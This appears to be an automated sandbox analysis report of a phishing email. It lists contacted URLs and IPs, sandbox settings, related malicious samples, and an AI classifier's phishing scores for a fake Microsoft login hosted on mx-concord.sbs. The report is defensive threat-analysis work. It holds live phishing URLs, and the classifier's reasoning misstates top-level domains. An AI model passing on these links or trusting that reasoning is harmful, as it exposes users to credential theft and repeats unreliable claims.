https://canary.designerapp.	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://www.yammer.com	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://api.microsoftstream.com/api/	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	Avira URL Cloud: safe	unknown
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://cr.office.com	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://messagebroker.mobile.m365.svc.cloud.microsoft	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://otelrules.svc.static.microsoft	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://edge.skype.com/registrar/prod	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://res.getmicrosoftkey.com/api/redemptionevents	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://tasks.office.com	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://officeci.azurewebsites.net/api/	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://my.microsoftpersonalcontent.com	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	Avira URL Cloud: safe	unknown
https://store.office.cn/addinstemplate	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://edge.skype.com/rps	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://messaging.engagement.office.com/	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://www.odwebp.svc.ms	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://api.powerbi.com/v1.0/myorg/groups	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://web.microsoftstream.com/video/	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://api.addins.store.officeppe.com/addinstemplate	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://graph.windows.net	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://consent.config.office.com/consentcheckin/v1.0/consents	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://d.docs.live.net	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	Avira URL Cloud: safe	unknown
https://safelinks.protection.outlook.com/api/GetPolicy	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://ncus.contentsync.	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
http://weather.service.msn.com/data.aspx	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fapi.emailinc.net%2Fc.jsp%3Fl%3D47t	~WRS{889E11D4-A8A8-44AD-8352-E3CA2FCD8629}.tmp.0.dr	false	Avira URL Cloud: safe	unknown
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://pushchannel.1drv.ms	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://wus2.contentsync.	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/ios	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://api.addins.omex.office.net/api/addins/search	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://xsts.auth.xboxlive.com	HxAccounts.exe, 0000001B.00000002.2400968751.000002259778B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.office365.com/api/v1.0/me/Activities	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/android/policies	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://entitlement.diagnostics.office.com	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://outlook.office.com/	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	Avira URL Cloud: safe	unknown
https://storage.live.com/clientlogs/uploadlocation	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://substrate.office.com/search/api/v1/SearchHistory	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/c2r/v1.0/InteractiveInstallation	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://service.powerapps.com	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://graph.windows.net/	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://devnull.onenote.com	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://api.=	(No subject) (63).eml	false	Avira URL Cloud: safe	unknown
https://messaging.office.com/	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://skyapi.live.net/Activity/	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://api.cortana.ai	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	Avira URL Cloud: safe	unknown
https://messaging.action.office.com/setcampaignaction	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://visio.uservoice.com/forums/368202-visio-on-devices	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://staging.cortana.ai	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://onedrive.live.com/embed?	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	Avira URL Cloud: safe	unknown
https://augloop.office.com	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://api.emailinc.net/c.jsp?l=3D47tqd=	(No subject) (63).eml	false	Avira URL Cloud: safe	unknown
https://login.windows.local.	HxAccounts.exe, 0000001B.00000002.2401342017.00000225977CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.diagnosticssdf.office.com/v2/file	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://login.windows.local/	HxAccounts.exe, 0000001B.00000002.2400968751.000002259778B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://officepyservice.office.net/	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://api.diagnostics.office.com	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://login.windows.local$	HxAccounts.exe, 0000001B.00000002.2400968751.000002259778B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.office.de/addinstemplate	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://wus2.pagecontentsync.	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://api.powerbi.com/v1.0/myorg/datasets	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://cortana.ai/api	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://google.com	chromecache_102.14.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.174	google.com	United States	15169	GOOGLEUS	false
185.225.69.39	18e976ad-b128254c.mx-concord.sbs	Hungary	30836	NET23-ASHU	true
183.90.238.45	avco.co.jp	Japan	9371	SAKURA-CSAKURAInternetIncJP	false
209.208.100.119	api.emailinc.net	United States	6364	ATLANTIC-NET-1US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.47.64.28	gcc02.safelinks.eop-tm2.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
167.86.102.97	willyadventures.com	Germany	51167	CONTABODE	false
172.217.16.132	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1500773
Start date and time:	2024-08-28 22:19:44 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	(No subject) (63).eml
Detection:	MAL
Classification:	mal100.phis.evad.winEML@42/102@54/9
Cookbook Comments:	Found application associated with file extension: .eml

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, HxTsr.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe, MavInject32.exe
Excluded IPs from analysis (whitelisted): 52.113.194.132, 52.109.76.243, 95.101.54.227, 2.16.202.85, 93.184.221.240, 52.168.112.67, 142.250.185.195, 142.250.185.110, 74.125.206.84, 34.104.35.123, 52.109.89.18, 13.107.42.16, 13.89.179.9, 216.58.212.138, 216.58.206.42, 216.58.212.170, 142.250.74.202, 172.217.16.138, 216.58.206.74, 142.250.186.74, 142.250.186.42, 142.250.184.202, 142.250.181.234, 142.250.186.138, 172.217.18.106, 142.250.185.74, 172.217.16.202, 172.217.23.106, 172.217.18.10, 40.79.197.34, 216.58.206.67, 51.105.71.136, 142.250.185.142, 20.189.173.3
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, weu-azsc-config.officeapps.live.com, mobile.events.data.microsoft.com, onedscolprdcus09.centralus.cloudapp.azure.com, clients2.google.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, officeclient.microsoft.com, l-0007.l-msedge.net, wu-b-net.trafficmanager.net, a1864.dscd.akamai.net, ecs.office.com, fs.microsoft.com, content-autofill.googleapis.com, onedscolprduks00.uksouth.cloudapp.azure.com, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, outlookmobile-office365-tas.msedge.net, edgedl.me.gvt1.com, s-0005.s-msedge.net, osiprod-neu-buff-azsc-000.northeurope.cloudapp.azure.com, onedscolprdeus04.eastus.cloudapp.azure.com, settings.data.microsoft.com, ecs.office.trafficmanager.net, clients.l.google.com, mobile.events.data.trafficmanager.net, europe.configsvc1.live.com.akadns.net, omex.cdn.office.net, config.edge.skype.com.tra
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: (No subject) (63).eml

Simulations

Behavior and APIs

Time	Type	Description
16:20:39	API Interceptor	2x Sleep call for process: OpenWith.exe modified

LLM Input / Output

Input	Output
URL: Email Model: jbxai	{ "brand":["Microsoft"], "contains_trigger_text":false, "prominent_button_name":"unknown", "text_input_field_labels":["unknown"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://portal.mx-concord.sbs/?lit=up&sso_reload=true Model: jbxai	{ "brand":["unknown"], "contains_trigger_text":false, "prominent_button_name":"next", "text_input_field_labels":["email, phone, or skype"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://l1ve.mx-concord.sbs/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2fportal.mx-concord.sbs%2fcommon%2ffederation%2f Model: jbxai	{ "brand":["Microsoft"], "contains_trigger_text":false, "prominent_button_name":"Sign in", "text_input_field_labels":["Enter password", "Password", "Forgot password?"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://portal.mx-concord.sbs/?lit=up&sso_reload=true Model: jbxai	{ "phishing_score":6, "brand_name":"Unknown", "reasons":"The domain name 'portal.mx-concord.sbs' is a subdomain of a larger domain, possibly'sbs' (which could stand for a company or organization), but it's not a well-known brand. The top-level domain '.sbs' is a country-code top-level domain for the Solomon Islands. The page is designed to allow users to log in to their accounts or create new ones, but the lack of a clear brand name and the unusual top-level domain make it difficult to determine its legitimacy."}

URL: https://l1ve.mx-concord.sbs/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2fportal.mx-concord.sbs%2fcommon%2ffederation%2f Model: jbxai	{ "phishing_score":8, "brand_name":"Microsoft", "reasons":"The URL 'l1ve.mx-concord.sbs' is unusual and does not match the typical domain structure of Microsoft. The use of numbers and hyphens in the domain name is not typical for brand domains, and the top-level domain '.mx' is a country-code top-level domain for Mexico, which is not commonly used by Microsoft. The design of the webpage is clean and minimalistic, but the domain name is suspicious and raises concerns about the legitimacy of the site."}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	https://ca.docusign.net/Signing/EmailStart.aspx?a=1cdabf46-ff5a-4450-ae28-4b5293077687&etti=24&acct=938a1226-4cc2-4b96-95f9-d33be464ae6b&er=5b95ae4e-7414-40c0-b9fc-e2de228fcc1b	Get hash	malicious	Unknown	Browse
	http://leembal.com.mx	Get hash	malicious	Unknown	Browse
	GMP Architecture MailBox System shared _PROPOSAL REQUEST PORTAL_ with you.eml	Get hash	malicious	Unknown	Browse
	http://www.de-blizzard.com	Get hash	malicious	Unknown	Browse
	phish_alert_iocp_v1.4.48 (43).eml	Get hash	malicious	HTMLPhisher	Browse
	VOIR LE DOCUMENT COMPLET.eml	Get hash	malicious	Unknown	Browse
	http://www.chessmetrics.com/cm/DL/DL9.html	Get hash	malicious	Unknown	Browse
	https://emp.eduyield.com/el?aid=2idydda0e6c-1865-11ef-80aa-0217a07992df&rid=33766156&pid=771868&cid=497&dest=google.com.////amp/s/codingbeats.com/kaku/qohoc/captcha/bm15ZXJzQHRydXBhcnRuZXJjdS5vcmc=	Get hash	malicious	Unknown	Browse
	https://nowcheck.mooo.com/	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
185.225.69.39	http://portal.mx-concord.sbs	Get hash	malicious	HTMLPhisher	Browse	portal.mx-concord.sbs/
104.47.64.28	(No subject) (61).eml	Get hash	malicious	HTMLPhisher	Browse
	(No subject) (60).eml	Get hash	malicious	HTMLPhisher	Browse
	(No subject) (53).eml	Get hash	malicious	Unknown	Browse
	https://naatsihwp-my.sharepoint.com/:w:/g/personal/jodie_naatsihwp_org_au/Edt9QgU4WchFkzsysfjUqRYBtCY1xbWi-QqcZStxuCuHSA?e=VULAwM&xsdata=MDV8MDJ8amVubmlmZXIuYm9uaG9tZUBiaWEuZ292fDhhNDUwMWUzYjFlZDQ2Y2VhZjM4MDhkY2I3YjgxMGFifDA2OTNiNWJhNGIxODRkN2I5MzQxZjMyZjQwMGE1NDk0fDB8MHw2Mzg1ODcyNDg0NTg5OTY3NzN8VW5rbm93bnxUV0ZwYkdac2IzZDhleUpXSWpvaU1DNHdMakF3TURBaUxDSlFJam9pVjJsdU16SWlMQ0pCVGlJNklrMWhhV3dpTENKWFZDSTZNbjA9fDYwMDAwfHx8&sdata=dnVxOEVGZEZPSGZxOXA2VTg5cjVhdzRjbnZ4bi9EZ1ExMmRQMDhGc1dBST0%3d&clickparams=eyAiWC1BcHBOYW1lIiA6ICJNaWNyb3NvZnQgT3V0bG9vayIsICJYLUFwcFZlcnNpb24iIDogIjE2LjAuMTc2MjguMjAxODgiLCAiT1MiIDogIldpbmRvd3MiIH0%3D&CT=1723128099484&OR=Outlook-Body&CID=105B1456-7270-4DC7-9A69-06C4F6528AF5&wdLOR=cB591A482-0A5C-483B-995F-86112B427CD5	Get hash	malicious	HTMLPhisher	Browse
	https://naatsihwp-my.sharepoint.com/:w:/g/personal/jodie_naatsihwp_org_au/Edt9QgU4WchFkzsysfjUqRYBtCY1xbWi-QqcZStxuCuHSA?e=VULAwM&xsdata=MDV8MDJ8amVubmlmZXIuYm9uaG9tZUBiaWEuZ292fDhhNDUwMWUzYjFlZDQ2Y2VhZjM4MDhkY2I3YjgxMGFifDA2OTNiNWJhNGIxODRkN2I5MzQxZjMyZjQwMGE1NDk0fDB8MHw2Mzg1ODcyNDg0NTg5OTY3NzN8VW5rbm93bnxUV0ZwYkdac2IzZDhleUpXSWpvaU1DNHdMakF3TURBaUxDSlFJam9pVjJsdU16SWlMQ0pCVGlJNklrMWhhV3dpTENKWFZDSTZNbjA9fDYwMDAwfHx8&sdata=dnVxOEVGZEZPSGZxOXA2VTg5cjVhdzRjbnZ4bi9EZ1ExMmRQMDhGc1dBST0=&clickparams=eyAiWC1BcHBOYW1lIiA6ICJNaWNyb3NvZnQgT3V0bG9vayIsICJYLUFwcFZlcnNpb24iIDogIjE2LjAuMTc2MjguMjAxODgiLCAiT1MiIDogIldpbmRvd3MiIH0=&CT=1723128099484&OR=Outlook-Body&CID=105B1456-7270-4DC7-9A69-06C4F6528AF5&wdLOR=cB591A482-0A5C-483B-995F-86112B427CD5	Get hash	malicious	HTMLPhisher	Browse
	(No subject) (48).eml	Get hash	malicious	Unknown	Browse
	(No subject) (45).eml	Get hash	malicious	Unknown	Browse
	(No subject) (44).eml	Get hash	malicious	Unknown	Browse
	(No subject) (33).eml	Get hash	malicious	Unknown	Browse
	(No subject) (29).eml	Get hash	malicious	HTMLPhisher	Browse
183.90.238.45	https://emp.eduyield.com/el?aid=2q7adda0e6c-1865-11ef-80aa-0217a07992df&rid=33766156&pid=771868&cid=497&dest=google.com.////amp/s/self-in.net/services%23%amVyZW15cEBhY3Rpb25maW5hbmNpYWxzLmNvbQ==$%C3%A3%E2%82%AC%E2%80%9A	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
l1ve.mx-concord.sbs	http://portal.mx-concord.sbs	Get hash	malicious	HTMLPhisher	Browse	185.225.69.39
l1ve.mx-concord.sbs	https://emp.eduyield.com/el?aid=2q7adda0e6c-1865-11ef-80aa-0217a07992df&rid=33766156&pid=771868&cid=497&dest=google.com.////amp/s/self-in.net/services%23%amVyZW15cEBhY3Rpb25maW5hbmNpYWxzLmNvbQ==$%C3%A3%E2%82%AC%E2%80%9A	Get hash	malicious	HTMLPhisher	Browse	185.225.69.39
portal.mx-concord.sbs	http://portal.mx-concord.sbs	Get hash	malicious	HTMLPhisher	Browse	185.225.69.39
portal.mx-concord.sbs	https://emp.eduyield.com/el?aid=2q7adda0e6c-1865-11ef-80aa-0217a07992df&rid=33766156&pid=771868&cid=497&dest=google.com.////amp/s/self-in.net/services%23%amVyZW15cEBhY3Rpb25maW5hbmNpYWxzLmNvbQ==$%C3%A3%E2%82%AC%E2%80%9A	Get hash	malicious	HTMLPhisher	Browse	185.225.69.39
gcc02.safelinks.eop-tm2.outlook.com	(No subject) (61).eml	Get hash	malicious	HTMLPhisher	Browse	104.47.64.28
	(No subject) (60).eml	Get hash	malicious	HTMLPhisher	Browse	104.47.64.28
	(No subject) (53).eml	Get hash	malicious	Unknown	Browse	104.47.65.28
	(No subject) (50).eml	Get hash	malicious	Unknown	Browse	104.47.65.28
	https://naatsihwp-my.sharepoint.com/:w:/g/personal/jodie_naatsihwp_org_au/Edt9QgU4WchFkzsysfjUqRYBtCY1xbWi-QqcZStxuCuHSA?e=VULAwM&xsdata=MDV8MDJ8amVubmlmZXIuYm9uaG9tZUBiaWEuZ292fDhhNDUwMWUzYjFlZDQ2Y2VhZjM4MDhkY2I3YjgxMGFifDA2OTNiNWJhNGIxODRkN2I5MzQxZjMyZjQwMGE1NDk0fDB8MHw2Mzg1ODcyNDg0NTg5OTY3NzN8VW5rbm93bnxUV0ZwYkdac2IzZDhleUpXSWpvaU1DNHdMakF3TURBaUxDSlFJam9pVjJsdU16SWlMQ0pCVGlJNklrMWhhV3dpTENKWFZDSTZNbjA9fDYwMDAwfHx8&sdata=dnVxOEVGZEZPSGZxOXA2VTg5cjVhdzRjbnZ4bi9EZ1ExMmRQMDhGc1dBST0%3d&clickparams=eyAiWC1BcHBOYW1lIiA6ICJNaWNyb3NvZnQgT3V0bG9vayIsICJYLUFwcFZlcnNpb24iIDogIjE2LjAuMTc2MjguMjAxODgiLCAiT1MiIDogIldpbmRvd3MiIH0%3D&CT=1723128099484&OR=Outlook-Body&CID=105B1456-7270-4DC7-9A69-06C4F6528AF5&wdLOR=cB591A482-0A5C-483B-995F-86112B427CD5	Get hash	malicious	HTMLPhisher	Browse	104.47.65.28
	https://naatsihwp-my.sharepoint.com/:w:/g/personal/jodie_naatsihwp_org_au/Edt9QgU4WchFkzsysfjUqRYBtCY1xbWi-QqcZStxuCuHSA?e=VULAwM&xsdata=MDV8MDJ8amVubmlmZXIuYm9uaG9tZUBiaWEuZ292fDhhNDUwMWUzYjFlZDQ2Y2VhZjM4MDhkY2I3YjgxMGFifDA2OTNiNWJhNGIxODRkN2I5MzQxZjMyZjQwMGE1NDk0fDB8MHw2Mzg1ODcyNDg0NTg5OTY3NzN8VW5rbm93bnxUV0ZwYkdac2IzZDhleUpXSWpvaU1DNHdMakF3TURBaUxDSlFJam9pVjJsdU16SWlMQ0pCVGlJNklrMWhhV3dpTENKWFZDSTZNbjA9fDYwMDAwfHx8&sdata=dnVxOEVGZEZPSGZxOXA2VTg5cjVhdzRjbnZ4bi9EZ1ExMmRQMDhGc1dBST0=&clickparams=eyAiWC1BcHBOYW1lIiA6ICJNaWNyb3NvZnQgT3V0bG9vayIsICJYLUFwcFZlcnNpb24iIDogIjE2LjAuMTc2MjguMjAxODgiLCAiT1MiIDogIldpbmRvd3MiIH0=&CT=1723128099484&OR=Outlook-Body&CID=105B1456-7270-4DC7-9A69-06C4F6528AF5&wdLOR=cB591A482-0A5C-483B-995F-86112B427CD5	Get hash	malicious	HTMLPhisher	Browse	104.47.64.28
	(No subject) (48).eml	Get hash	malicious	Unknown	Browse	104.47.64.28
	(No subject) (45).eml	Get hash	malicious	Unknown	Browse	104.47.64.28
	(No subject) (44).eml	Get hash	malicious	Unknown	Browse	104.47.64.28
	(No subject) (43).eml	Get hash	malicious	Unknown	Browse	104.47.65.28
avco.co.jp	https://emp.eduyield.com/el?aid=2q7adda0e6c-1865-11ef-80aa-0217a07992df&rid=33766156&pid=771868&cid=497&dest=google.com.////amp/s/self-in.net/services%23%amVyZW15cEBhY3Rpb25maW5hbmNpYWxzLmNvbQ==$%C3%A3%E2%82%AC%E2%80%9A	Get hash	malicious	HTMLPhisher	Browse	183.90.238.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ATLANTIC-NET-1US	q9WhhN00yY.elf	Get hash	malicious	Unknown	Browse	209.209.68.131
	mfQABKHhh1.elf	Get hash	malicious	Mirai	Browse	209.208.9.68
	QH1v8Gya9C.elf	Get hash	malicious	Unknown	Browse	209.208.9.71
	jdsfl.x86.elf	Get hash	malicious	Mirai	Browse	209.208.21.217
	8b3ee970a1b172952a665247aa5ff590d12d8f4b33c07.exe	Get hash	malicious	GCleaner, Mars Stealer, Meduza Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	69.28.91.75
	e8iuAWz9pB.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	69.28.91.75
	5zq2Yob8xh.exe	Get hash	malicious	GCleaner, Glupteba, Mars Stealer, Meduza Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	69.28.91.75
	8B5NOWiWn8.elf	Get hash	malicious	Unknown	Browse	209.208.9.66
	HDTFFrAXui.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	209.209.113.209
	Thank You for the Work and Payment 5963 $.HTMl	Get hash	malicious	HTMLPhisher	Browse	45.58.47.80
SAKURA-CSAKURAInternetIncJP	INVG0088 LHV3495264 BL327291535V.exe	Get hash	malicious	FormBook	Browse	157.112.152.12
	https://emp.eduyield.com/el?aid=2q7adda0e6c-1865-11ef-80aa-0217a07992df&rid=33766156&pid=771868&cid=497&dest=google.com.////amp/s/self-in.net/services%23%amVyZW15cEBhY3Rpb25maW5hbmNpYWxzLmNvbQ==$%C3%A3%E2%82%AC%E2%80%9A	Get hash	malicious	HTMLPhisher	Browse	157.112.176.28
	https://www.usedsale.jp/	Get hash	malicious	Unknown	Browse	183.90.250.12
	sora.m68k.elf	Get hash	malicious	Unknown	Browse	182.49.45.50
	PURCHASE ORDER_330011 SEPTEMBER 2024.exe	Get hash	malicious	FormBook	Browse	157.112.152.12
	https://aquafish.net/pagecon/pagecon.cgi?no=13&page=http://aaudio-for-wordpress-131830832858f3d16cef719d9e5e572d8eeda9f5.s3-website-us-west-2.amazonaws.com	Get hash	malicious	Unknown	Browse	219.94.128.219
	https://aquafish.net/pagecon/pagecon.cgi?no=13&page=%0D%0A%09%09%09%20%20http://emtpygjkaaakl3363sakvsalk3456fr635vksl52356kd.s3-website-ap-northeast-1.amazonaws.com	Get hash	malicious	HTMLPhisher	Browse	219.94.128.219
	https://aquafish.net/pagecon/pagecon.cgi?no=13&page=%20%20http://nanaar4qwlkdcvklaadffkl4gdfbfkla34t6klaad4te3.s3-website-ap-northeast-1.amazonaws.com	Get hash	malicious	Unknown	Browse	219.94.128.219
	https://aquafish.net/pagecon/pagecon.cgi?no=13&page=http://aaaacf-templates-1px9abo4vbt3v-us-west-2.s3-website.ap-northeast-2.amazonaws.com	Get hash	malicious	Unknown	Browse	219.94.128.219
	https://aquafish.net/pagecon/pagecon.cgi?no=13&page=http://aaaacf-templates-1px9abo4vbt3v-us-west-2.s3-website.ap-northeast-2.amazonaws.com	Get hash	malicious	HTMLPhisher	Browse	219.94.128.219
NET23-ASHU	http://portal.mx-concord.sbs	Get hash	malicious	HTMLPhisher	Browse	185.225.69.39
	https://emp.eduyield.com/el?aid=2q7adda0e6c-1865-11ef-80aa-0217a07992df&rid=33766156&pid=771868&cid=497&dest=google.com.////amp/s/self-in.net/services%23%amVyZW15cEBhY3Rpb25maW5hbmNpYWxzLmNvbQ==$%C3%A3%E2%82%AC%E2%80%9A	Get hash	malicious	HTMLPhisher	Browse	185.225.69.39
	2new.dll.dll	Get hash	malicious	CobaltStrike	Browse	185.225.68.202
	CB8drrx7FQ.elf	Get hash	malicious	Mirai, Moobot	Browse	46.35.222.142
